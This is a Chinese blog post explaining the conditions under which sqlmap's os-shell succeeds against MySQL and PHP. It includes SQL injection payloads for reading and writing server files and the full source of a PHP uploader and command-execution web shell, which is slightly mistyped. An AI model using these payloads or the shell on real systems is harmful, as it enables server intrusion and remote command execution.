• SQL注入:为什么拿不到os-shell?


    文章目录

    权限问题

    首先确保注入点的数据库连接用户有FILE权限
    使用 --privileges查看
    但是
    就算有此权限也还有很多问题

    SELINUX
    因为我的服务器使用的并不是Apache的默认发布目录
    所以我把SELINUX禁掉了
    按理来说
    SELINUX也会对这些操作有影响

    mysql文件操作权限
    首先说一下Linux的文件权限
    chmod命令用于更改文件权限
    数字法中

    0 无权限
    1 可执行
    2 可写
    4 可读
    

    四个数字随意组合共八种

    0 无权限
    1 可执行
    2 可写
    3 可执行/可写
    4 可读
    5 可执行/可读
    6 可写/可读
    7 可执行/可写/可读
    

    –file-read

    参数是文件路径
    服务器上的mysql需要对此文件有5权限(执行/读)

    因为它实际执行的函数是

    LOAD_FILE('/data/test.txt');
    

    mysql有对 /data/test.txt 的5权限才可以加载
    否则就算服务器管理员使用此函数也无法读出文件

    –file-write 和 --file-dest

    这两个是配合使用的
    –file-write的参数是Kali上的完整文件路径
    –file-dest的参数是服务器上的完整文件路径
    服务器上mysql需要对此文件路径有3权限(可写/可执行)
    而且mysql的文件导出路径不能有限制
    mysql导出路径
    它实际执行的函数是

    ... INTO OUTFILE '/asdf/sadf/sdfa.txt'
    

    –os-shell
    mysql需要对网站发布目录有3权限
    以及文件导出路径无限制
    实际函数上传了两个php文件,即利用tmpulujm.php上传了一个tmpbtfgo.php的文件

    ...INTO OUTFILE '/DocumentRoot/asdaa.php'
    

    –file-read

    payload

    a' AND 
    ORD(
    	MID((
    		IFNULL(
    			CAST(
    				HEX(LOAD_FILE(0x2f6879)
    			) AS CHAR)
    		,0x20)
    	),1,1)
    )>66 AND 'BHHf'='BHHf
    

    解析
    0x2f6879是服务器上带完整路径的文件名

    –file-write和–file-dest

    payload

    a'
     LIMIT 0,1 
    	INTO OUTFILE '/hoasdf/sdaf/asdf.txt'
    		 LINES TERMINATED BY 
    		 0x50542079536557276967963653d68747
    		 -- -
    

    解析
    0x5054…是上传文件的HEX内容

    –os-shell

    即利用tmpulujm.php上传了一个tmpbtfgo.php的文件

    payload

    a' 
    	LIMIT 0,1 
    		INTO OUTFILE '/DocumentRoot/tmpuvpaa.php' 
    			LINES TERMINATED BY 
    				0x300a696627365742f524554553545b2275706c6f6164225
    				-- -
    

    解析
    0x300a…是上传php文件的HEX内容
    上传的两个php文件内容

    a       12
    <?php
    	if (isset($_REQUEST["upload"])){
    		$dir=$_REQUEST["uploadDir"];
    		if (phpversion()<'4.1.0'){
    			$file=$HTTP_POST_FILES["file"]["name"];		
    			@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
    		}
    		else{
    			$file=$_FILES["file"]["name"];
    			@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
    		}
    		@chmod($dir."/".$file,0755);
    		echo "File uploaded";
    	}
    	else {
    		echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/root/MyWebsite/> <input type=submit name=upload value=upload></form>";
    	}
    ?>
    
    <?php 
    	$c=$_REQUEST["cmd"];
    	@set_time_limit(0);
    	@ignore_user_abort(1);
    	@ini_set('max_execution_time',0);
    	$z=@ini_get('disable_functions');
    	if(!empty($z)){
    		$z=preg_replace('/[,]/',',',$z);
    		$z=explode(',',$z);
    		$z=array_map('trim',$z);
    	}
    	else{$z=array();}
    	$c=$c." 2>&1
    ";
    	function f($n){
    		global $z;
    		return is_callable($n)and!in_array($n,$z);
    	}
    	if(f('system')){
    		ob_start();
    		system($c);
    		$w=ob_get_contents();
    		ob_end_clean();
    	}
    	elseif(f('proc_open'){
    		$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    		$w=NULL;
    		while(!feof($t[1])){
    			$w.=fread($t[1],512);
    		}
    		@proc_close($y);
    	}
    	elseif(f('shell_exec')){
    		$w=shell_exec($c);
    	}
    	elseif(f('passthru')){
    		ob_start();
    		passthru($c);
    		$w=ob_get_contents();
    		ob_end_clean();
    	}
    	elseif(f('popen')){
    		$x=popen($c,r);
    		$w=NULL;
    		if(is_resource($x)){
    			while(!feof($x)){
    				$w.=fread($x,512);
    			}
    		}
    		@pclose($x);
    	}
    	elseif(f('exec')){
    		$w=array();
    		exec($c,$w);
    		$w=join(chr(10),$w).chr(10);
    	}
    	else{$w=0;}
    	print "<pre>".$w."</pre>";
    ?>
    

    退出shell后两文件自动删除

    总结

    拿到os-shell的条件

    1. 首先你得知道网站是用什么写的。这个倒是好说,ASP/ASPX/PHP/JSP,很容易看
    2. 网站的发布目录。这个开发环境中应该都会更改,而不会使用默认的
      比如Apache的/var/www/html,这里想说一下某些PHP程序员还有可能写完一个很有用的文件后忘记删掉了,可能叫test.php什么什么的,内容就是一句phpinfo();
      找到这个里面会有很多有用的信息
    3. SELinux。牛逼的管理员会详细配置SELinux,菜鸡如我就只能强制关掉了,SELinux会对数据库对外的操作作限制,特别是针对这种敏感的直接对发布目录进行的操作。
      还是得好好看看SELinux啊唉
    4. 执行权限。上面有详细说明
    5. 生产环境还会有WAF等防护
  • 相关阅读:
    网友谈:Dictionary.ContainsKey和List.BinarySearch哪个效率高
    C# WinForm 中在窗口标题栏上加按钮
    将Txt文件转换成dataset[原创]
    四个常见的排序算法[原创]
    改版后的groupbox[原创]
    转 五种提高 SQL 性能的方法
    转 牢记!SQL Server数据库开发的二十一条军规(SQL收藏)
    源码详解Java的反射机制
    java多线程采集+线程同步
    jQgrid API
  • 原文地址:https://www.cnblogs.com/forforever/p/13763812.html
Copyright © 2020-2023  润新知